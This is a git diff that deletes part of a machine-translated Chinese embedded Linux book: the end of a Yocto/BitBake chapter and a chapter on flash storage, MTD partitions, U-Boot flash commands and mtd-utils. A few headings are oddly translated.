缺少参数不是什么大问题,因为数据存储对象始终可以作为全局变量使用;也就是`d`。 虽然不像 Pythonic 那样,但 BitBake 定义函数的风格在整个 Yocto 中占主导地位。 下面是`meta/classes/sign_rpm.bbclass`中的 BitBake 样式 Python 函数定义: - -```sh -python sign_rpm () { -    import glob -    from oe.gpg_sign import get_signer -    signer = get_signer(d, d.getVar('RPM_GPG_BACKEND')) -    rpms = glob.glob(d.getVar('RPM_PKGWRITEDIR') + '/*') - -    signer.sign_rpms(rpms, -                     d.getVar('RPM_GPG_NAME'), -                     d.getVar('RPM_GPG_PASSPHRASE'), -                     d.getVar('RPM_FILE_CHECKSUM_DIGEST'), -                     int(d.getVar('RPM_GPG_SIGN_CHUNK')), -                     d.getVar('RPM_FSK_PATH'), -                     d.getVar('RPM_FSK_PASSWORD')) -} -``` - -#### 匿名 Python 函数 - -**匿名 Python 函数**看起来很像 BitBake 样式的 Python 函数,但它在解析期间执行。 因为它们首先运行,所以匿名函数非常适合于可以在解析时完成的操作,比如初始化变量和其他形式的设置。 匿名函数定义可以使用或不使用`__anonymous`函数名编写: - -```sh -python __anonymous () { -    systemd_packages = "${PN} ${PN}-wait-online" -    pkgconfig = d.getVar('PACKAGECONFIG') -    if ('openvpn' or 'vpnc' or 'l2tp' or 'pptp') in pkgconfig.split(): -        systemd_packages += " ${PN}-vpn" -    d.setVar('SYSTEMD_PACKAGES', systemd_packages) -} -python () { -    packages = d.getVar('PACKAGES').split() -    if d.getVar('PACKAGEGROUP_DISABLE_COMPLEMENTARY') != '1': -        types = ['', '-dbg', '-dev'] -        if bb.utils.contains('DISTRO_FEATURES', 'ptest', True, False, d): -            types.append('-ptest') -        packages = [pkg + suffix for pkg in packages -                    for suffix in types] -        d.setVar('PACKAGES', ' '.join(packages)) -    for pkg in packages: -        d.setVar('ALLOW_EMPTY_%s' % pkg, '1') -} -``` - -匿名 Python 函数中的`d`变量表示整个配方(*BitBake 用户手册*,[https://www.yoctoproject.org/docs/current/bitbake-user-manual/bitbake-user-manual.html#anonymous-python-functions](https://www.yoctoproject.org/docs/current/bitbake-user-manual/bitbake-user-manual.html#anonymous-python-functions))的数据存储。 因此,当您在匿名函数作用域中设置一个变量时,当其他函数运行时,该值将通过全局数据存储对象提供给其他函数。 - -## RDEPENDS 重访 - -让我们回到运行时依赖关系的主题。 这些是必须安装的包,给定的包才能运行。 该列表在包的`RDEPENDS`变量中定义。 下面是`populate_sdk_base.bbclass`中一个有趣的摘录: - -```sh -do_sdk_depends[rdepends] = "${@get_sdk_ext_rdepends(d)}" -``` - -下面是对应的内联 Python 函数的定义: - -```sh -def get_sdk_ext_rdepends(d): -    localdata = d.createCopy() -    localdata.appendVar('OVERRIDES', ':task-populate-sdk-ext') -    return localdata.getVarFlag('do_populate_sdk', 'rdepends') -``` - -这里有相当多的东西要拆开。 首先,该函数复制数据存储对象,以便不修改 TASK 运行时环境。 回想一下,`OVERRIDES`变量是用于在变量的多个版本之间进行选择的条件列表。 下一行将条件`task-populate-sdk-ext`添加到数据存储的本地副本中的`OVERRIDES`列表。 最后,该函数返回`do_populate_sdk`任务的`rdepends`varflag 的值。 现在的不同之处在于,使用变量的`_task-populate-sdk-ext`版本计算`rdepends`,如下所示: - -```sh -SDK_EXT_task-populate-sdk-ext = "-ext" -SDK_DIR_task-populate-sdk-ext = "${WORKDIR}/sdk-ext" -``` - -我发现使用临时`OVERRIDES`既聪明又可怕。 - -BitBake 的语法和语义似乎令人望而生畏。 将 Shell 和 Python 结合在一起形成了有趣的语言特性组合。 我们现在不仅知道如何定义变量和函数,而且现在还可以通过编程方式继承类文件、覆盖变量和更改条件。 这些高级概念在`.bb`、`.bbappend`、`.inc`、`.bbclass`和`.conf`文件中反复出现,随着时间的推移将变得越来越容易识别。 当我们努力精通 BitBake,并开始扩展我们新发现的能力时,错误不可避免地会发生。 - -# 摘要 - -尽管您几乎可以使用 Yocto 构建任何东西,但要知道构建系统正在做什么或如何做并不总是那么容易。 不过,我们还是有希望的。 有命令行工具可以帮助我们找到某些东西的来源以及如何更改它。 我们可以读取和写入任务日志。 还有`devshell`,我们可以使用它从命令行配置和编译各个内容。 如果我们从一开始就将我们的项目分成多个层次,我们很可能会从我们所做的工作中获得更多的里程数 -。 - -BitBake 的 shell 和 Python 混合支持一些强大的语言构造,比如继承、覆盖和条件变量选择。 这既有好的一面,也有坏的一面。 它的好处在于,层和食谱是完全可组合和可定制的。 不同配方文件和不同层中的元数据可能会以奇怪和意想不到的方式交互,这在某种意义上是不好的。 将这些强大的语言特性与数据存储对象充当 shell 和 Python 执行环境之间门户的能力结合起来,您就有了无数小时乐趣的秘诀。 - -这结束了我们对 Yocto 项目的深入探索,以及本书关于嵌入式 Linux 的*元素*的第一节。 在本书的下一节中,我们将转换话题,研究*系统架构和设计决策*,从[*第 9 章*](09.html#_idTextAnchor246),*创建存储策略*开始。 当我们评估 Mender 时,我们将有机会在[*第 10 章*](10.html#_idTextAnchor278),*《现场更新软件》*中再次使用 Yocto。 - -# 进一步阅读 - -以下资源包含有关本章中介绍的主题的详细信息: - -* *Yocto 项目概述和概念手册*,Scott Rifenbark:[https://www.yoctoproject.org/docs/latest/overview-manual/overview-manual.html](https://www.yoctoproject.org/docs/latest/overview-manual/overview-manual.html) -* *我希望我知道的是什么*,Yocto 项目:[https://www.yoctoproject.org/docs/what-i-wish-id-known](https://www.yoctoproject.org/docs/what-i-wish-id-known) -* *BitBake 用户手册*,作者:Richard Purdie、Chris Larson 和 Phil Blundell:[HTTPS://www.yoctoproject.org/docs/Latest/bitbake-user-Manual/bitbake-user-manual.html](https://www.yoctoproject.org/docs/latest/bitbake-user-manual/bitbake-user-manual.html) -* *Embedded Linux Projects Using Yocto Project Cookbook*,Alex Gonzalez 著* \ No newline at end of file diff --git a/docs/master-emb-linux-prog/09.md b/docs/master-emb-linux-prog/09.md deleted file mode 100644 index 300be1e7..00000000 --- a/docs/master-emb-linux-prog/09.md +++ /dev/null @@ -1,966 +0,0 @@ -# 九、创建存储策略 - -嵌入式设备的大容量存储选项在健壮性、速度和用于现场更新的方法方面对系统的其余部分有很大影响。 大多数设备采用某种形式的闪存。 随着存储容量从数百兆字节增加到数百兆字节,闪存在过去几年里变得便宜得多。 - -在本章中,我们将首先详细介绍闪存背后的技术,以及不同的内存组织策略如何影响必须管理闪存的低级驱动程序软件,包括 Linux**内存技术设备**(**MTD**)层。 - -对于每种闪存技术,在文件系统方面都有不同的选择。 我将介绍嵌入式设备上最常见的闪存,并通过总结每种类型的闪存选择来完成调查。 最后,我们将考虑一些最大限度地利用闪存并将所有内容整合到一个连贯的存储策略中的技术。 - -在本章中,我们将介绍以下主题: - -* 存储选项 -* 从引导加载程序访问闪存 -* 从 Linux 访问闪存 -* 用于闪存的文件系统 -* 用于 NOR 和 NAND 闪存的文件系统 -* 用于托管闪存的文件系统 -* 只读压缩文件系统 -* 临时文件系统 -* 将根文件系统设置为只读 -* 文件系统选择 - -我们开始吧! - -# 技术要求 - -要按照本章中的示例操作,请确保您具备以下条件: - -* 安装了`e2fsprogs`、`genext2fs`、`mtd-utils`、`squashfs-tools`和`util-linux`或其等效组件的基于 Linux 的主机系统 -* [*第 3 章*](03.html#_idTextAnchor061),*All About Bootloaders*中的 U-Boot 源代码树 -* 一种 microSD 卡读卡器和卡 -* USB 转 TTL 3.3V 串行电缆 -* [*第 4 章*](04.html#_idTextAnchor085),*中的 Linux 内核源代码树配置和构建内核* -* 比格尔博恩黑 -* 5V 1A 直流电源 - -您应该已经在[*第 3 章*](03.html#_idTextAnchor061),*All About Bootloaders*中下载并构建了 Beaglebone Black 的 U-Boot。 您应该已经从[*第 4 章*](04.html#_idTextAnchor085),*配置和构建内核*获得了 Linux 内核源代码树。 - -Ubuntu 为创建和格式化各种文件系统所需的大多数工具提供了软件包。 要在 Ubuntu 20.04 LTS 系统上安装这些工具,请使用以下命令: - -```sh -$ sudo apt install e2fsprogs genext2fs mtd-utils squashfs-tools util-linux -``` - -`mtd-utils`包包括`mtdinfo`、`mkfs.jffs2`、`sumtool`、`nandwrite`和 UBI 命令行工具。 - -# 存储选项 - -嵌入式设备需要耗电少、物理上紧凑、健壮且可靠的存储,使用寿命可能长达数十年。 在几乎所有情况下,这都意味着固态存储。 固态存储是在许多年前与**只读存储器**(**ROM**)一起引入的,但在过去的 20 年里,它一直是某种类型的闪存存储器。 在这段时间里,闪存已经有了几代,从 NOR 到 NAND,再到可管理的闪存,如 eMMC。 - -NOR 闪存价格昂贵,但很可靠,并且可以映射到 CPU 地址空间,从而允许您直接从闪存执行代码。 Nor 闪存芯片的容量很低,从几兆字节到一千兆字节左右不等。 - -NAND 闪存比 NOR 便宜得多,容量更高,在数百兆字节到数百千兆字节的范围内。 然而,它需要大量的硬件和软件支持才能将其转变为有用的存储介质。 - -托管闪存由一个或多个 NAND 闪存芯片组成,封装有一个控制器,用于处理闪存的复杂性,并提供类似于硬盘的硬件接口。 吸引人的地方在于它消除了驱动程序软件的复杂性,并使系统设计人员免受闪存技术频繁变化的影响。 SD 卡、eMMC 芯片和 USB 闪存驱动器都属于这一类。 当前几代智能手机和平板电脑几乎都有 eMMC 存储,这一趋势可能会随着其他类别的嵌入式设备的发展而发展。 - -硬盘驱动器在嵌入式系统中很少见。 一个例外是机顶盒和智能电视中的数字视频录制,它们需要大量的存储空间,写入时间也很快。 - -在所有情况下,稳健性都是最重要的:即使出现电源故障和意外重置,您也希望设备启动并达到正常工作状态。 您应该选择在这种情况下运行良好的文件系统。 - -在本节中,我们将了解 NOR 闪存和 NAND 闪存之间的区别,并在选择托管闪存技术时考虑我们的选项。 - -## NOR 闪光 - -NOR 闪存芯片中的存储单元被布置成例如 128KiB 的擦除块。 擦除数据块会将所有位设置为 1。一次可以编程一个字(8 位、16 位或 32 位,具体取决于数据总线宽度)。 每个擦除周期对存储单元造成轻微损害,并且在若干个周期之后,擦除块变得不可靠并且不能再使用。 最大擦除周期数应在芯片的数据表中给出,但通常在 100K 至 1M 的范围内。 - -数据可以逐字读取。 芯片通常映射到 CPU 地址空间,这意味着您可以直接从 NOR 闪存执行代码。 这使得放置引导加载器代码非常方便,因为除了硬连线地址映射之外,它不需要初始化。 以这种方式支持 NOR 闪存的 SoC 具有提供默认存储器映射的配置,因此它包含 CPU 的复位矢量。 - -内核,甚至根文件系统,也可以位于闪存中,从而避免了将它们复制到 RAM 中的需要,从而创建了占用内存较小的设备。 这种技术称为**就地执行**或**XIP**。 它非常专业,我不会在这里进一步研究它。 我在本章末尾的*进一步阅读*一节中包含了一些参考资料。 - -NOR 闪存芯片有一个标准寄存器级接口,称为**通用闪存接口**或**CFI**,所有现代芯片都支持该接口。 Cfi 在标准 JESD68 中进行了描述,您可以从[https://www.jedec.org/](https://www.jedec.org/)获得。 - -现在我们已经了解了 NOR 闪存是什么,让我们来看看 NAND 闪存。 - -## NAND 闪存 - -NAND 闪存比 NOR 闪存便宜得多,容量更高。 第一代 NAND 芯片在现在称为**单级单元**(**SLC**)的组织中每个存储单元存储一个位。 后代人继续到**多电平单元**(**MLC**)芯片中的每单元两位,现在到**三电平单元**(**TLC**)芯片中的每单元三位。 随着每单元位数的增加,存储的可靠性降低,需要更复杂的控制器硬件和软件来补偿这一点。 如果可靠性是个问题,您应该确保使用的是 SLC NAND 闪存芯片。 - -与 NOR 闪存一样,NAND 闪存被组织成大小从 16 KiB 到 512 KiB 的擦除块,同样,擦除一个块会将所有位设置为 1。但是,在块变得不可靠之前的擦除周期数较低,TLC 芯片通常只有 1K 周期,SLC 芯片最高可达 100K。 NAND 闪存只能以页为单位进行读写,通常为 2 或 4 KiB。 因为它们不能被逐个字节地访问,所以它们不能被映射到地址空间,所以代码和数据在它们可以 -被访问之前必须被复制到 RAM 中。 - -进出芯片的数据传输容易发生位翻转,可以使用**纠错码**(**ECC**)检测和纠正位翻转。 SLC 芯片通常使用简单的**汉明码**,该简单的**汉明码**可以在软件中有效地实现,并且可以纠正页面读取中的一位错误。 MLC 和 TLC 芯片需要更复杂的代码,如**Bose-Chaudhuri-Hocquenghem**(**BCH**),每页最多可纠正 8 位错误。 这些需要硬件支持。 - -ECC 必须存储在某个地方,因此每页有一个额外的内存区,称为**带外**(**OOB**)区或备用区。 SLC 设计通常每 32 字节的主存储有 1 字节的 OOB,因此对于 2 KiB 页面设备,OOB 为每页 64 字节,而对于 4 KiB 页面,则为 128 字节。 MLC 和 TLC 芯片具有比例较大的 OOB 面积,以便容纳更复杂的 ECC。 下图显示了具有 128 KiB 擦除块和 2KiB 页面的芯片的组织结构: - -![Figure 9.1 – OOB area](img/B11566_09_01.jpg) - -图 9.1-OOB 区域 - -在生产期间,制造商测试所有块,并通过在块中每页的 OOB 区域设置标志来标记任何失败的块。 以这种方式发现,全新芯片中多达 2%的模块被标记为坏块,这种情况并不少见。 当出现问题时,保存 OOB 信息以便在擦除区域之前进行分析会很有用。 此外,在达到擦除周期极限之前,类似比例的块在擦除时产生错误也在规格范围内。 NAND 闪存驱动程序应该检测到这一点并将其标记为坏。 - -在 OOB 区域中为坏块标志和 ECC 字节腾出空间后,仍有一些字节剩余。 一些闪存文件系统利用这些空闲字节来存储文件系统元数据。 因此,系统的许多部分都对 OOB 区域的布局感兴趣:SoC ROM 引导代码、引导加载程序、内核 MTD 驱动程序、文件系统代码以及创建文件系统映像的工具。 没有太多的标准化,因此很容易出现引导加载程序使用内核 MTD 驱动程序无法读取的 OOB 格式写入数据的情况。 这取决于你来确保他们都同意。 - -访问 NAND 闪存芯片需要 NAND 闪存控制器,该控制器通常是 SoC 的一部分。 您需要在引导加载程序和内核中安装相应的驱动程序。 NAND 闪存控制器处理芯片的硬件接口,向页和从页传输数据,并且可以包括用于纠错的硬件。 - -NAND 闪存芯片有标准寄存器级接口,称为 -**开放式 NAND 闪存接口**或**ONFI**,大多数现代芯片都遵循该接口。 有关更多信息,请参见[http://www.onfi.org/](http://www.onfi.org/)。 - -现代 NAND 闪存技术非常复杂。 将 NAND 闪存与控制器配对不再足够。 我们还需要一个硬件接口来抽象大部分技术细节,例如纠错。 - -### 托管闪存 - -如果有定义明确的硬件接口和隐藏内存复杂性的标准闪存控制器,则在操作系统(尤其是 NAND)中支持闪存的负担会更小。 这就是管理式闪存,它正变得越来越普遍。 本质上,它意味着将一个或多个闪存芯片与微控制器相结合,以提供扇区大小较小且与传统文件系统兼容的理想存储设备。 嵌入式系统最重要的芯片类型是**安全数字**(**SD**)卡和称为**eMMC**的嵌入式变体 -。 - -#### 多媒体卡和安全数字卡 - -**多媒体卡**(**MMC**)是 SanDisk 和西门子于 1997 年推出的一种使用闪存的封装存储。 不久之后,在 1999 年,SanDisk、Matsushita 和 Toshiba 创建了**Secure Digital**(**SD**)卡,它基于 MMC,但增加了加密和 DRM(名称的“安全”部分)。 这两款产品都是用于消费电子产品,如数码相机、音乐播放器和类似设备。 目前,SD 卡是消费电子和嵌入式电子产品管理闪存的主要形式,尽管加密功能很少使用。 较新版本的 SD 规范允许更小的封装(mini SD 和 microSD,通常写为 USD)和更大的容量:高达 32 GB 的高容量 SDHC 和高达 2TB 的扩展容量 SDXC。 - -MMC 和 SD 卡的硬件接口非常相似,可以在全尺寸 SD 卡插槽中使用全尺寸 MMC 卡(但不能反过来)。 早期版本使用 1 位**串行外设接口**(**SPI**);较新的卡使用 -4 位接口。 - -存在用于读取和写入 512 字节扇区中的存储器的命令集。 封装内有一个微控制器和一个或多个 NAND 闪存芯片,如下图所示: - -![Figure 9.2 – SD card package](img/B11566_09_02.jpg) - -图 9.2-SD 卡包装 - -微控制器执行命令集并管理闪存,执行闪存转换层的功能,如本章后面所述。 它们使用 FAT 文件系统进行预格式化:SDSC 卡上的 FAT16、SDHC 上的 FAT32 和 SDXC 上的 exFAT。 NAND 闪存芯片和微控制器上的软件的质量因卡而异。 值得怀疑的是,它们中是否有任何一个足够可靠,可以用于深度嵌入式使用,当然不能用于 FAT 文件系统,因为 FAT 文件系统容易损坏文件。 请记住,MMC 和 SD 卡的主要使用案例是相机、平板电脑和手机上的可移动存储。 - -#### eMMC - -**嵌入式 MMC**或**eMMC**是简单的 MMC 存储器,经过封装,可以使用 4 位或 8 位接口进行数据传输,从而可以焊接到主板上。 但是,它们旨在用作操作系统的存储,因此这些组件能够执行该任务。 芯片通常不会使用任何文件系统进行预格式化。 - -#### 其他类型的托管闪存 - -最先管理的闪存技术之一是**CompactFlash**(**CF**),它使用**个人计算机存储卡国际协会**(**PCMCIA**)硬件接口的子集。 Cf 通过并行 ATA 接口暴露内存,并在操作系统中显示为标准硬盘。 它们在基于 x86 的单板计算机以及专业视频和摄像设备中很常见。 - -我们每天使用的另一种格式是**USB 闪存驱动器**。 在这种情况下,通过 USB 接口访问存储器,并且控制器实现 USB 大容量存储规范,以及到一个或多个闪存芯片的闪存转换层和接口。 而 USB 大容量存储协议则基于 SCSI 磁盘命令集。 与 MMC 和 SD 卡一样,它们通常使用 FAT 文件系统进行预格式化。 它们在嵌入式系统中的主要用途是与 PC 交换数据。 - -托管闪存选项列表中最近新增的是**通用闪存**(**UFS**)。 与 eMMC 一样,它也封装在安装在主板上的芯片中。 它有一个高速串行接口,可以实现高于 eMMC 的数据速率。 它支持 SCSI 磁盘命令集。 - -现在我们已经了解了可用的闪存类型,接下来让我们了解 U-Boot 如何从每种类型的闪存加载内核映像。 - -# 从引导加载程序访问闪存 - -在[*第 3 章*](03.html#_idTextAnchor061),*All About Bootloaders*中,我提到了引导加载程序需要从各种闪存设备加载内核二进制文件和其他映像,并执行系统维护任务,如擦除和重新编程闪存。 因此,引导加载程序必须具有所需的驱动程序和基础设施,以支持对您所拥有的内存类型(无论是 NOR、NAND 还是托管的)进行读取、擦除和写入操作。 在下面的示例中,我将使用 U-Boot;其他引导加载程序也遵循类似的模式。 - -## U-Boot 和 NOR 闪存 - -U-Boot 在`drivers/mtd`中具有用于 NOR CFI 芯片的驱动程序,并利用各种`erase`命令擦除存储器和`cp.b`逐字节复制数据,从而对闪存单元进行编程。 假设您有从`0x40000000`映射到`0x48000000`的 NOR 闪存,其中从`0x40040000`开始的 4MiB 是内核映像。 在这里,您将使用以下 U-Boot 命令将新内核加载到闪存中: - -```sh -=> tftpboot 100000 uImage -=> erase 40040000 403fffff -=> cp.b 100000 40040000 $(filesize) -``` - -上例中的`filesize`变量由`tftpboot`命令设置为刚刚下载的文件的大小。 - -## U-Boot 和 NAND 闪存 - -对于 NAND 闪存,您需要一个用于 SoC 上 NAND 闪存控制器的驱动程序,您可以在`drivers/mtd/nand`目录下的 U-Boot 源代码中找到。 您可以使用`nand`命令通过`erase`、`write`和`read`子命令来管理内存。 此示例显示内核映像在`0x82000000`加载到 RAM,然后从`0x280000`偏移量开始放入闪存: - -```sh -=> tftpboot 82000000 uImage -=> nand erase 280000 400000 -=> nand write 82000000 280000 $(filesize) -``` - -U-Boot 还可以读取存储在 JFFS2、YAFFS2 和 UBIFS 文件系统中的文件。 `nand write`将跳过标记为坏的块。 如果您正在写入的数据是针对文件系统的,请确保该文件系统也跳过坏块。 - -## U-Boot 和 MMC、SD 和 eMMC - -U-Boot 在`drivers/mmc`中有多个 MMC 控制器的驱动程序。 您可以在用户界面级别使用`mmc read`和`mmc write`访问原始数据,这允许您处理原始内核和文件系统映像。 - -U-Boot 还可以从 MMC 存储上的 FAT32 和 ext4 文件系统读取文件。 - -U-Boot 需要驱动程序来访问 NOR、NAND 和托管闪存。 您应该使用哪种驱动程序取决于您选择的是 NOR 芯片还是 SoC 上的闪存控制器。 从 Linux 访问原始 NOR 和 NAND 闪存需要额外的软件层。 - -# 从 Linux 访问闪存 - -原始 NOR 和 NAND 闪存由**Memory Technology Device**子系统或**MTD**处理,它为您提供读取、擦除和写入闪存块的基本接口。 在 NAND 闪存的情况下,还有处理 OOB 区域并用于识别坏块的函数。 - -对于托管闪存,您需要驱动程序来处理特定的硬件接口。 MMC/SD 卡和 eMMC 使用`mmcblk`驱动程序,而 CompactFlash 和硬盘驱动器使用 SCSI 磁盘驱动程序`sd`。 USB 闪存驱动器使用`usb_storage`驱动程序和 -`sd`驱动程序。 - -## 存储技术设备 - -MTD 子系统由 David Woodhouse 于 1999 年创建,在此期间得到了广泛的开发。 在本节中,我将重点介绍它处理 NOR 和 NAND 闪存这两项主要技术的方式。 - -MTD 由三层组成:一组核心函数、一组用于各种芯片的驱动程序以及将闪存呈现为字符设备或块设备的用户级驱动程序,如下图所示: - -![Figure 9.3 – MTD layers](img/B11566_09_03.jpg) - -图 9.3-MTD 层 - -芯片驱动器位于最底层,与闪存芯片接口。 NOR 闪存芯片只需要少量的驱动程序,足以覆盖 CFI 标准和变体,再加上一些不符合标准的芯片,这些芯片现在大多已经过时了。 对于 NAND 闪存,您需要正在使用的 NAND 闪存控制器的驱动程序;该驱动程序通常作为主板支持包的一部分提供。 在当前的主线内核中,在`drivers/mtd/nand`目录中有大约 40 个驱动程序。 - -### MTD 分区 - -在大多数情况下,您会希望将闪存分区为多个区域,例如,为引导加载程序、内核映像或根文件系统提供空间。 在 MTD 中,有几种方式可以指定分区的大小和位置,主要方式如下: - -* 通过使用`CONFIG_MTD_CMDLINE_PARTS`的内核命令行 -* 通过使用`CONFIG_MTD_OF_PARTS`的设备树 -* 使用平台映射驱动程序 - -在第一个选项的情况下,要使用的内核命令行选项是`mtdparts`,它在`drivers/mtd/cmdlinepart.c`中的 Linux 源代码中定义如下: - -```sh -mtdparts=[; := :[,] - := unique name for the chip - := [@][][ro][lk] - := size of partition OR "-" to denote all remaining -     space - := offset to the start of the partition; leave blank -     to follow the previous partition without any gap - := '(' NAME ')' -``` - -也许一个例子会有所帮助。 假设您有一个 128 MiB 的闪存芯片,该芯片将被划分为 5 个分区。 典型的命令行如下所示: - -```sh -mtdparts=:512k(SPL)ro,780k(U-Boot)ro,128k(U-BootEnv), -4m(Kernel),-(Filesystem) -``` - -冒号前的第一个元素是`mtd-id`,它通过编号或主板支持包指定的名称来标识闪存芯片。 如果只有一个芯片,就像这里一样,它可以留空。 如果有多个芯片,则每个芯片的信息用分号分隔。 然后,对于每个芯片,都有一个逗号分隔的分区列表,每个分区都有一个以字节为单位的大小、KiB(`k`)或 MIB(`m`),以及括号中的名称。 后缀`ro`使分区对于 MTD 是只读的,通常用于防止意外覆盖引导加载程序。 芯片的最后一个分区的大小可以用破折号(`-`)代替,表示它应该占用所有剩余空间。 - -您可以通过阅读`/proc/mtd`在运行时查看配置摘要: - -```sh -# cat /proc/mtd -dev: size erasesize name -mtd0: 00080000 00020000 "SPL" -mtd1: 000C3000 00020000 "U-Boot" -mtd2: 00020000 00020000 "U-BootEnv" -mtd3: 00400000 00020000 "Kernel" -mtd4: 07A9D000 00020000 "Filesystem" -``` - -`/sys/class/mtd`中的每个分区都有更详细的信息,包括擦除块大小和页面大小,并使用`mtdinfo`很好地总结了这些信息: - -```sh -# mtdinfo /dev/mtd0 -mtd0 -Name:           SPL -Type:           nand -Eraseblock size:       131072 bytes, 128.0 KiB -Amount of eraseblocks:     4 (524288 bytes, 512.0 KiB) -Minimum input/output unit size: 2048 bytes -Sub-page size:        512 bytes -OOB size:        64 bytes -Character device major/minor:  90:0 -Bad blocks are allowed:    true -Device is writable:   false -``` - -另一种指定 MTD 分区的方式是通过设备树。 以下是创建与命令行示例相同的分区的示例: - -```sh -nand@0,0 { - #address-cells = <1>; - #size-cells = <1>; - partition@0 { -  label = "SPL"; -  reg = <0 0x80000>; - }; - partition@80000 { -  label = "U-Boot"; -  reg = <0x80000 0xc3000>; - }; - partition@143000 { -  label = "U-BootEnv"; -  reg = <0x143000 0x20000>; - }; - partition@163000 { -  label = "Kernel"; -  reg = <0x163000 0x400000>; - }; - partition@563000 { -  label = "Filesystem"; -  reg = <0x563000 0x7a9d000>; - }; -}; -``` - -第三个替代方案是将分区信息编码为`mtd_partition`结构中的平台数据,如取自`arch/arm/mach-omap2/board-omap3beagle.c`的这个示例所示(`NAND_BLOCK_SIZE`在其他地方定义为`128 KiB`): - -```sh -static struct mtd_partition omap3beagle_nand_partitions[] = { - { -  .name = "X-Loader", -  .offset = 0, -  .size = 4 * NAND_BLOCK_SIZE, -  .mask_flags = MTD_WRITEABLE, /* force read-only */ - }, - { -  .name = "U-Boot", -  .offset = 0x80000; -  .size = 15 * NAND_BLOCK_SIZE, -  .mask_flags = MTD_WRITEABLE, /* force read-only */ - }, - { -  .name = "U-Boot Env", -  .offset = 0x260000; -  .size = 1 * NAND_BLOCK_SIZE, - }, - { -  .name = "Kernel", -  .offset = 0x280000; -  .size = 32 * NAND_BLOCK_SIZE, - }, - { -  .name = "File System", -  .offset = 0x680000; -  .size = MTDPART_SIZ_FULL, - }, -}; -``` - -平台数据已弃用:您只会发现它用于未更新为使用设备树的旧 SoC 的 BSP 中。 - -### MTD 设备驱动程序 - -MTD 子系统的上层包含一对设备驱动程序: - -* 一种字符设备,主号为`90`。 每个 MTD 分区号有两个设备节点,N:`/dev/mtdN`(次要编号=N*2)和`/dev/mtdNro`(次要编号=(N*2+1))。 后者只是前者的只读版本。 -* 一种块设备,主要编号为`31`,次要编号为 N。设备节点的形式为`/dev/mtdblockN`。 - -让我们先来看看字符设备,因为它是这两种设备中最常用的。 - -### MTD 字符设备 MTD - -字符设备是最重要的:它们允许您以字节数组的形式访问底层闪存,以便您可以读写(编程)闪存。 它还实现了许多`ioctl`功能,允许您擦除块并管理 NAND 芯片上的 OOB 区域。 以下列表取自`include/uapi/mtd/mtd-abi.h`: - -* `MEMGETINFO`:获取基本的 MTD 特征信息。 -* `MEMERASE`:擦除 MTD 分区中的块。 -* `MEMWRITEOOB`:写入页面的带外数据。 -* `MEMREADOOB`:读取页面的带外数据。 -* `MEMLOCK`:锁定芯片(如果支持)。 -* `MEMUNLOCK`:解锁芯片(如果支持)。 -* `MEMGETREGIONCOUNT`:获取擦除区域的数量:如果分区中有大小不同的擦除块,则为非零值,这在 NOR 闪存中很常见,在 NAND 中很少见。 -* `MEMGETREGIONINFO`:如果`MEMGETREGIONCOUNT`非零,则可用于获取每个区域的偏移量、大小和块数。 -* `MEMGETOOBSEL`:已弃用。 -* `MEMGETBADBLOCK`:这将获取坏块标志。 -* `MEMSETBADBLOCK`:这将设置坏块标志。 -* `OTPSELECT`:如果芯片支持,这将设置 OTP(一次性可编程)模式。 -* `OTPGETREGIONCOUNT`:此函数获取动态口令区域的数量。 -* `OTPGETREGIONINFO`:这将获取有关 OTP 区域的信息。 -* `ECCGETLAYOUT`:已弃用。 - -有一组称为`mtd-utils`的实用程序用于操作闪存,它利用这些`ioctl`函数。 源代码可以在 git://git.inipad.org/mtd-utils.git 上找到,并且可以在 Yocto 项目和 Buildroot 中以包的形式获得。 下面的列表显示了基本工具。 该软件包还包含用于 JFFS2 和 UBI/UBIFS 文件系统的实用程序,我将在稍后介绍。 对于这些工具中的每一个,MTD 字符设备都是以下参数之一: - -* **FLASH_ERASE**:擦除一定范围的块。 -* **flash_lock**:锁定一定范围的块。 -* **flash_unlock**:解锁一定范围的块。 -* **nanddump**:从 NAND 闪存转储内存,可选地包括 OOB - 区域。 跳过坏数据块。 -* **nandtest**:测试并诊断 NAND 闪存。 -* **nandwrite**: Writes (programs) data from a file into NAND flash, skipping - bad blocks. - - 给小费 / 翻倒 / 倾覆 - - 在向闪存写入新内容之前,必须始终擦除闪存:`flash_erase`是执行此操作的命令。 - -要对或闪存进行编程,只需使用文件复制命令(如`cp`)将字节复制到 MTD 设备节点即可。 - -不幸的是,这不适用于 NAND 内存,因为复制将在第一个坏块失败。 取而代之的是使用`nandwrite`,它跳过任何坏块。 要读回 NAND 内存,您应该使用`nanddump`,它也会跳过坏块。 - -### MTD 块设备 MTDblock - -`mtdblock`驱动程序不经常使用。 它的目的是将闪存作为块设备呈现,您可以使用它格式化和挂载文件系统。 但是,它有严重的限制,因为它不处理 NAND 闪存中的坏块,不执行损耗均衡,也不处理文件系统块和闪存擦除块之间的大小不匹配问题。 换句话说,它没有闪存转换层,而闪存转换层对于可靠的文件存储至关重要。 `mtdblock`设备唯一有用的情况是将只读文件系统(如 SquashFS)挂载到可靠的闪存(如 NOR)之上。 - -给小费 / 翻倒 / 倾覆 - -如果您想要 NAND 闪存上的只读文件系统,则应使用 UBI 驱动程序,如本章后面所述。 - -### 将内核 Oop 记录到 MTD - -内核错误或 OOP 通常通过 klogd 和 syslogd 守护进程记录到循环内存缓冲区或文件中。 重新启动后,在环形缓冲区的情况下,日志将丢失,即使是在文件的情况下,也可能在系统崩溃之前没有正确写入日志。 更可靠的方法是将 OOP 和内核死机作为循环日志缓冲区写入 MTD 分区。 您可以使用`CONFIG_MTD_OOPS`启用它,并将`console=ttyMTDN`添加到内核命令行,其中`N`是要写入消息的 MTD 设备编号。 - -### 模拟 NAND 存储器 - -NAND 模拟器使用系统 RAM 模拟 NAND 芯片。 它的主要用途是测试代码,这些代码必须是 NAND 感知的,而不需要访问物理 NAND 内存。 特别是,模拟坏块、位翻转和其他错误的能力使您可以测试难以使用实际闪存执行的代码路径。 有关更多信息,最好的查看位置是代码本身,它提供了配置驱动程序的方法的全面描述。 代码在`drivers/mtd/nand/nandsim.c`中。 使用`CONFIG_MTD_NAND_NANDSIM`内核配置启用它。 - -## MMC 块驱动程序 - -使用`mmcblk`块驱动程序访问 MMC/SD 卡和 eMMC 芯片。 您 -需要一个主机控制器来匹配您正在使用的 MMC 适配器,该适配器是 -主板支持包的一部分。 驱动程序位于 -`drivers/mmc/host`中的 Linux 源代码中。 - -使用分区表对 MMC 存储进行分区的方式与对硬盘进行分区的方式完全相同;即,使用`fdisk`或类似的实用程序。 - -我们现在知道了 Linux 如何访问每种类型的闪存。 接下来,我们将查看闪存固有的问题,以及 Linux 